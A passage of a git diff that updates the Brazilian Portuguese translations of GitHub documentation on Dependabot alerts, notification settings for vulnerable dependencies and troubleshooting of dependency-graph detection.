+4. Opcionalmente, para filtrar a lista, use a barra de pesquisa ou os menus suspensos. O menu suspenso "Organização" permite filtrar {% data variables.product.prodname_dependabot_alerts %} por proprietário (organização ou usuário). ![Barra de pesquisa e menus suspensos para filtrar alertas](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png)
+5. Para mais detalhes sobre a vulnerabilidade e para aconselhamento sobre como corrigir o repositório vulnerável clique no nome do repositório.
 
-## Further reading
+## Leia mais
 
-- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability)
+- [Definição de "vulnerabilidade"](https://cve.mitre.org/about/terminology.html#vulnerability) da MITRE
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
index f0d3791232..008f692417 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring notifications for vulnerable dependencies
-shortTitle: Configuring notifications
-intro: 'Optimize how you receive notifications about  {% data variables.product.prodname_dependabot_alerts %}.'
+title: Configurar notificações para dependências vulneráveis
+shortTitle: Configurar notificações
+intro: 'Otimize a forma como você recebe notificações sobre {% data variables.product.prodname_dependabot_alerts %}.'
 redirect_from:
   - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies
   - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies
@@ -19,48 +19,49 @@ topics:
   - Dependencies
   - Repositories
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/managing-security-vulnerabilities-->
 
-## About notifications for vulnerable dependencies
+## Sobre notificações para dependências vulneráveis
 
-When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability.
-{% endif %} 
+Quando {% data variables.product.prodname_dependabot %} detecta dependências vulneráveis nos seus repositórios, geramos um alerta de {% data variables.product.prodname_dependabot %} e o exibimos na aba Segurança do repositório. {% data variables.product.product_name %} notifica os mantenedores dos repositórios afetados sobre o novo alerta de acordo com as suas preferências de notificação.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} está habilitado por padrão em todos os repositórios públicos. Para {% data variables.product.prodname_dependabot_alerts %}, por padrão, você receberá {% data variables.product.prodname_dependabot_alerts %} por e-mail, agrupado pela vulnerabilidade específica.
+{% endif %}
 
-{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)."
+{% ifversion fpt or ghec %}Se você é proprietário de uma organização, você pode habilitar ou desabilitar {% data variables.product.prodname_dependabot_alerts %} para todos os repositórios da sua organização com um clique. Você também pode definir se a detecção de dependências vulneráveis será habilitada ou desabilitada para repositórios recém-criados. Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)".
 {% endif %}
 
 {% ifversion ghes or ghae-issue-4864 %}
-By default, if your enterprise owner has configured email for notifications on your enterprise, you will receive {% data variables.product.prodname_dependabot_alerts %} by email.
+Por padrão, se o proprietário da sua empresa configurou e-mail para notificações na sua empresa, você receberá {% data variables.product.prodname_dependabot_alerts %} por e-mail.
 
-Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
+Os proprietários das empresas também podem habilitar {% data variables.product.prodname_dependabot_alerts %} sem notificações. Para obter mais informações, consulte[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na sua conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)."
 {% endif %}
 
-## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}
+## Configurar notificações para {% data variables.product.prodname_dependabot_alerts %}
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
-When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+Quando um novo alerta do {% data variables.product.prodname_dependabot %} é detectado, {% data variables.product.product_name %} notifica todos os usuários com acesso a {% data variables.product.prodname_dependabot_alerts %} para o repositório de acordo com suas preferências de notificação. Você receberá alertas se estiver acompanhando o repositório, caso tenha habilitado notificações para alertas de segurança ou para toda a atividade no repositório e não estiver ignorando o repositório. Para obter mais informações, consulte “[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)".
 {% endif %}
 
-You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+Você pode definir as configurações de notificação para si mesmo ou para sua organização no menu suspenso Gerenciar notificações {% octicon "bell" aria-label="The notifications bell" %} exibido na parte superior de cada página. Para obter mais informações, consulte “[Configurar notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)".
 
 {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %}
 {% data reusables.notifications.vulnerable-dependency-notification-options %}
 
-  ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
+  ![Opções {% data variables.product.prodname_dependabot_alerts %} ](/assets/images/help/notifications-v2/dependabot-alerts-options.png)
 
 {% note %}
 
-**Note:** You can filter your notifications on {% data variables.product.company_short %} to show  {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
+**Observação:** Você pode filtrar suas notificações em {% data variables.product.company_short %} para mostrar {% data variables.product.prodname_dependabot_alerts %}. Para obter mais informações, consulte "[Gerenciando notificações de sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)".
 
 {% endnote %}
 
-{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+{% data reusables.repositories.security-alerts-x-github-severity %} Para obter mais informações, consulte "[Configurando notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)".
 
-## How to reduce the noise from notifications for vulnerable dependencies
+## Como reduzir o ruído das notificações para dependências vulneráveis
 
-If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)."
+Se você estiver preocupado em receber muitas notificações para {% data variables.product.prodname_dependabot_alerts %}, recomendamos que você opte pelo resumo semanal de e-mail ou desabilite as notificações enquanto mantém {% data variables.product.prodname_dependabot_alerts %} habilitado. Você ainda pode navegar para ver seu {% data variables.product.prodname_dependabot_alerts %} na aba Segurança do seu repositório. Para obter mais informações, consulte "[Visualizar e atualizar dependências vulneráveis no seu repositório](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository). "
 
-## Further reading
+## Leia mais
 
-- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
-- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
+- "[Configurar notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)"
+- "[Gerenciar notificações da sua caixa de entrada](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)"
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
index 067cab1c4a..d7af6c7c03 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing vulnerabilities in your project's dependencies
-intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.'
+title: Gerenciar vulnerabilidades nas dependências de seu projeto
+intro: 'Você pode acompanhar as dependências do seu repositório e receber {% data variables.product.prodname_dependabot_alerts %} quando {% data variables.product.product_name %} detectar dependências vulneráveis.'
 redirect_from:
   - /articles/updating-your-project-s-dependencies
   - /articles/updating-your-projects-dependencies
@@ -30,6 +30,6 @@ children:
   - /viewing-and-updating-vulnerable-dependencies-in-your-repository
   - /troubleshooting-the-detection-of-vulnerable-dependencies
   - /troubleshooting-dependabot-errors
-shortTitle: Fix vulnerable dependencies
+shortTitle: Corrigir dependências vulneráveis
 ---
 
diff --git a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md
index 2e0ad140d1..842cc5a243 100644
--- a/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md
+++ b/translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md
@@ -1,7 +1,7 @@
 ---
-title: Troubleshooting the detection of vulnerable dependencies
-intro: 'If the dependency information reported by {% data variables.product.product_name %} is not what you expected, there are a number of points to consider, and various things you can check.'
-shortTitle: Troubleshoot detection
+title: Solução de problemas de detecção de dependências vulneráveis
+intro: 'Se as informações sobre dependências relatadas por {% data variables.product.product_name %} não são o que você esperava, há uma série de pontos a considerar, e várias coisas que você pode verificar.'
+shortTitle: Detecção de solução de problemas
 redirect_from:
   - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies
   - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies
@@ -27,98 +27,98 @@ topics:
 
 {% data reusables.dependabot.beta-security-and-version-updates %}
 
-The results of dependency detection reported by {% data variables.product.product_name %} may be different from the results returned by other tools. There are good reasons for this and it's helpful to understand how {% data variables.product.prodname_dotcom %} determines dependencies for your project.
+Os resultados da detecção de dependências relatados pelo {% data variables.product.product_name %} podem ser diferentes dos resultados retornados por outras ferramentas. Existem boas razões para isso e é útil entender como {% data variables.product.prodname_dotcom %} determina as dependências para o seu projeto.
 
-## Why do some dependencies seem to be missing?
+## Por que algumas dependências parecem estar faltando?
 
-{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following:
+O {% data variables.product.prodname_dotcom %} gera e exibe dados de dependência de maneira diferente de outras ferramentas. Consequentemente, se você usou outra ferramenta para identificar dependências, quase certamente verá resultados diferentes. Considere o seguinte:
 
-*   {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies. It's a free, curated database of vulnerability information for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %}
-*   The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
-*   {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new vulnerability record is added, it scans all existing repositories and generates an alert for each vulnerable repository. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per vulnerability. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
-*   {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)."
-  
-    {% endif %}{% data variables.product.prodname_dependabot %} doesn't scan repositories for vulnerable dependencies on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new vulnerability is added to the advisory database{% ifversion ghes or ghae-issue-4864 %} and synchronized to {% data variables.product.product_location %}{% endif %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)."
+*   {% data variables.product.prodname_advisory_database %} é uma das fontes de dados que {% data variables.product.prodname_dotcom %} usa para identificar dependências vulneráveis. É um banco de dados gratuito e curado com informações sobre vulnerabilidade para ecossistemas de pacote comum em {% data variables.product.prodname_dotcom %}. Inclui tanto dados relatados diretamente para {% data variables.product.prodname_dotcom %} de {% data variables.product.prodname_security_advisories %} quanto os feeds oficiais e as fontes comunitárias. Estes dados são revisados e curados por {% data variables.product.prodname_dotcom %} para garantir que informações falsas ou não acionáveis não sejam compartilhadas com a comunidade de desenvolvimento. {% data reusables.security-advisory.link-browsing-advisory-db %}
+*   O gráfico de dependências analisa todos os arquivos conhecidos de manifesto de pacote no repositório de um usuário. Por exemplo, para o npm, ele irá analisar o arquivo _package-lock.json_. Ele constrói um gráfico de todas as dependências do repositório e dependências públicas. Isso acontece quando você habilita o gráfico de dependências e quando alguém faz push para o branch-padrão, e inclui commits que fazem alterações em um formato de manifesto compatível. Para obter mais informações, consulte "[Sobre o gráfico de dependência](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)".
+*   {% data variables.product.prodname_dependabot %} verifica qualquer push, para o branch-padrão, que contém um arquivo de manifesto. Quando um novo registro de vulnerabilidade é adicionado, ele verifica todos os repositórios existentes e gera um alerta para cada repositório vulnerável. {% data variables.product.prodname_dependabot_alerts %} são agregados ao nível do repositório, em vez de criar um alerta por vulnerabilidade. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
+*   {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} são acionados quando você recebe um alerta sobre uma dependência vulnerável no repositório. Sempre que possível, {% data variables.product.prodname_dependabot %} cria um pull request no repositório para atualizar a dependência vulnerável à versão mínima segura necessária para evitar a vulnerabilidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" e "[Solução de problemas de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)".
 
-## Why don't I get vulnerability alerts for some ecosystems?
+    {% endif %}{% data variables.product.prodname_dependabot %} não pesquisa repositórios com relação a dependências vulneráveis de uma programação, mas o faz quando algo muda. Por exemplo, aciona-se uma varredura quando uma nova dependência é adicionada ({% data variables.product.prodname_dotcom %} verifica isso em cada push), ou quando uma nova vulnerabilidade é adicionada ao banco de dados da consultoria{% ifversion ghes or ghae-issue-4864 %} e sincronizado com {% data variables.product.product_location %}{% endif %}. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#detection-of-vulnerable-dependencies)"
 
-{% data variables.product.prodname_dotcom %} limits its support for vulnerability alerts to a set of ecosystems where we can provide high-quality, actionable data. Curated vulnerabilities in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and  {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. We'll continue to add support for more ecosystems over time. For an overview of the package ecosystems that we support, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)."
+## Por que não recebo alertas de vulnerabilidade em alguns ecossistemas?
 
-It's worth noting that {% data variables.product.prodname_dotcom %} Security Advisories may exist for other ecosystems. The information in a security advisory is provided by the maintainers of a particular repository. This data is not curated in the same way as information for the supported ecosystems. {% ifversion fpt or ghec %}For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."{% endif %}
+O {% data variables.product.prodname_dotcom %} limita seu suporte a alertas de vulnerabilidade a um conjunto de ecossistemas onde podemos fornecer dados de alta qualidade e relevantes. As vulnerabilidades curadas no {% data variables.product.prodname_advisory_database %}, o gráfico de dependências, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} atualizações de segurança, {% endif %}e  {% data variables.product.prodname_dependabot_alerts %} são fornecidos para vários ecossistemas, incluindo o Maven do Javaen, o npm do JavaScript e o Yarn, Nuget do .NET's, Pip Python, RubyGems e PHP Composer. Nós continuaremos a adicionar suporte para mais ecossistemas ao longo do tempo. Para uma visão geral dos ecossistemas de pacotes suportados por nós, consulte "[Sobre o gráfico de dependências](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)".
 
-**Check**: Does the uncaught vulnerability apply to an unsupported ecosystem?
+Vale a pena observar que as consultorias de segurança de {% data variables.product.prodname_dotcom %} podem existir para outros ecossistemas. As informações em uma consultoria de segurança são fornecidas pelos mantenedores de um determinado repositório. Estes dados não são curados da mesma forma que as informações relativas aos ecossistemas suportados. {% ifversion fpt or ghec %}Para obter mais informações, consulte "[Sobre consultorias de segurança de {% data variables.product.prodname_dotcom %}](/github/managing-security-vulnerabilities/about-github-security-advisories){% endif %}
 
-## Does the dependency graph only find dependencies in manifests and lockfiles?
+**Verificar**: A vulnerabilidade não capturada se aplica a um ecossistema não suportado?
 
-The dependency graph includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file.
+## O gráfico de dependências só encontra dependências nos manifestos e nos arquivos de bloquei?
 
-{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are:
-* Direct dependencies explicitly declared in a manifest or lockfile
-* Transitive dependencies declared in a lockfile{% endif %}
+O gráfico de dependências inclui informações sobre dependências explicitamente declaradas em seu ambiente. Ou seja, dependências que são especificadas em um manifesto ou um arquivo de bloqueio. O gráfico de dependências, geralmente, também inclui dependências transitivas, mesmo quando não são especificadas em um arquivo de travamento analisando as dependências das dependências em um arquivo de manifesto.
 
-The dependency graph doesn't include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. 
+Os {% data variables.product.prodname_dependabot_alerts %} aconselham você com relação a dependências que você deve atualizar, incluindo dependências transitivas, em que a versão pode ser determinada a partir de um manifesto ou de um arquivo de bloqueio. {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} sugere apenas uma mudança em que {% data variables.product.prodname_dependabot %} pode "corrigir" diretamente a dependência, ou seja, quando são:
+* Dependências diretas, que são definidas explicitamente em um manifesto ou arquivo de bloqueio
+* Dependências transitórias declaradas em um arquivo de bloqueio{% endif %}
 
-**Check**: Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile?
+O gráfico de dependências não inclui dependências de "soltas". Dependências "soltas" são arquivos individuais copiados de outra fonte e verificados no repositório diretamente ou dentro de um arquivo (como um arquivo ZIP ou JAR), em vez de ser referenciadas pelo manifesto ou arquivo de bloqueio do gerenciador de pacotes.
 
-## Does the dependency graph detect dependencies specified using variables?
+**Verifique**: A vulnerabilidade não detectada para um componente não especificado no manifesto ou no arquivo de bloqueio do repositório?
 
-The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not be included in the dependency graph.
+## O gráfico de dependências detecta dependências especificadas usando variáveis?
 
-**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version?
+O gráfico de dependências analisa como são carregados para {% data variables.product.prodname_dotcom %}. O gráfico de dependência não tem acesso ao ambiente de construção do projeto. Portanto, ele não pode resolver variáveis usadas dentro dos manifestos. Se você usar variáveis dentro de um manifesto para especificar o nome, ou mais comumente, a versão de uma dependência, essa dependência não será incluída no gráfico de dependências.
 
-## Are there limits which affect the dependency graph data?
+**Verifique**: A dependência ausente é declarada no manifesto usando uma variável para seu nome ou versão?
 
-Yes, the dependency graph has two categories of limits:
+## Existem limites que afetam os dados do gráfico de dependências?
 
-1. **Processing limits**
+Sim, o gráfico de dependências tem duas categorias de limites:
 
-    These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created.
+1. **Limites de processamento**
 
-    Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}.
+    Eles afetam o gráfico de dependências exibido dentro de {% data variables.product.prodname_dotcom %} e também impedem que sejam criados {% data variables.product.prodname_dependabot_alerts %}.
 
-    By default, {% data variables.product.prodname_dotcom %} will not process more than 20 manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}. 
+    Manifestos com tamanho superior a 0.5 MB são processados apenas para contas corporativas. Para outras contas, manifestos acima de 0,5 MB são ignorados e não criarão {% data variables.product.prodname_dependabot_alerts %}.
 
-2. **Visualization limits**
+    Por padrão, o {% data variables.product.prodname_dotcom %} não processará mais de 20 manifestos por repositório. {% data variables.product.prodname_dependabot_alerts %} não foi criado para manifestos acima deste limite. Se você precisar aumentar o limite, entre em contato com {% data variables.contact.contact_support %}.
 
-    These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created.
+2. **Limites de visualização**
 
-    The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}.
+    Eles afetam o que é exibido no gráfico de dependências dentro de {% data variables.product.prodname_dotcom %}. No entanto, eles não afetam {% data variables.product.prodname_dependabot_alerts %} que foram criados.
 
-**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests?
+    A exibição de dependências do gráfico de dependências em um repositório só exibe 100 manifestos. De modo geral, isso é adequado, já que é significativamente maior do que o limite de processamento descrito acima. Em situações em que o limite de processamento é superior a 100, os {% data variables.product.prodname_dependabot_alerts %} são criados para quaisquer manifestos que não são mostrados dentro de {% data variables.product.prodname_dotcom %}.
 
-## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years?
+**Verifique**: A dependência que falta está em um arquivo de manifesto superior a 0,5 MB ou em um repositório com um grande número de manifestos?
 
-The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include vulnerability information for the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software.
+## O {% data variables.product.prodname_dependabot %} gera alertas de vulnerabilidades que são conhecidas há muitos anos?
 
-Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. 
+O {% data variables.product.prodname_advisory_database %} foi lançado em novembro de 2019 e preencheu, inicialmente, a inclusão de informações de vulnerabilidade para os ecossistemas compatíveis a partir de 2017. Ao adicionar CVEs ao banco de dados, priorizamos a curadoria de CVEs mais recentes e CVEs que afetam versões mais recentes do software.
 
-**Check**: Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database?
+Algumas informações sobre vulnerabilidades mais antigas estão disponíveis, especialmente quando estes CVEs estão particularmente disseminados. No entanto algumas vulnerabilidades antigas não estão incluídas no {% data variables.product.prodname_advisory_database %}. Se houver uma vulnerabilidade antiga específica que você precisar incluir no banco de dados, entre em contato com {% data variables.contact.contact_support %}.
 
-## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data?
+**Verifique**: A vulnerabilidade não detectada tem uma data de publicação anterior a 2017 no Banco de Dados Nacional de Vulnerabilidade?
 
-Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts.
+## Por que o {% data variables.product.prodname_advisory_database %} usa um subconjunto de dados de vulnerabilidade publicada?
 
-Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant.
+Algumas ferramentas de terceiros usam dados de CVE não descurados que não são verificados ou filtrados por um ser humano. Isto significa que os CVEs com erros de etiqueta ou de gravidade, ou outros problemas de qualidade, gerarão alertas mais frequentes, mais ruidosos e menos úteis.
+
+Uma vez que {% data variables.product.prodname_dependabot %} usa dados curados em {% data variables.product.prodname_advisory_database %}, o volume de alertas pode ser menor, mas os alertas que você recebe serão precisos e relevantes.
 
 {% ifversion fpt or ghec %}
-## Does each dependency vulnerability generate a separate alert?
+## Cada vulnerabilidade de dependência gera um alerta separado?
 
-When a dependency has multiple vulnerabilities, only one aggregated alert is generated for that dependency, instead of one alert per vulnerability.
+Quando uma dependência tem várias vulnerabilidades, apenas um alerta agregado é gerado para essa dependência, em vez de um alerta por vulnerabilidade.
 
-The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, that is, the number of dependencies with vulnerabilities, not the number of vulnerabilities.
+A contagem de {% data variables.product.prodname_dependabot_alerts %} em {% data variables.product.prodname_dotcom %} mostra um total para o número de alertas, ou seja, o número de dependências com vulnerabilidades, não o número de vulnerabilidades.
 
-![{% data variables.product.prodname_dependabot_alerts %} view](/assets/images/help/repository/dependabot-alerts-view.png)
+![Vista de {% data variables.product.prodname_dependabot_alerts %}](/assets/images/help/repository/dependabot-alerts-view.png)
 
-When you click to display the alert details, you can see how many vulnerabilities are included in the alert.
+Ao clicar para exibir os detalhes de alerta, você pode ver quantas vulnerabilidades são incluídas no alerta.
 
-![Multiple vulnerabilities for a {% data variables.product.prodname_dependabot %} alert](/assets/images/help/repository/dependabot-vulnerabilities-number.png)
+![Múltiplas vulnerabilidades para um alerta de {% data variables.product.prodname_dependabot %}](/assets/images/help/repository/dependabot-vulnerabilities-number.png)
 
-**Check**: If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with vulnerability numbers.
+**Verifique**: Se houver discrepância no total que você está vendo, verifique se você não está comparando números de alerta com números de vulnerabilidade.
 {% endif %}
 
-## Further reading
+## Leia mais
 
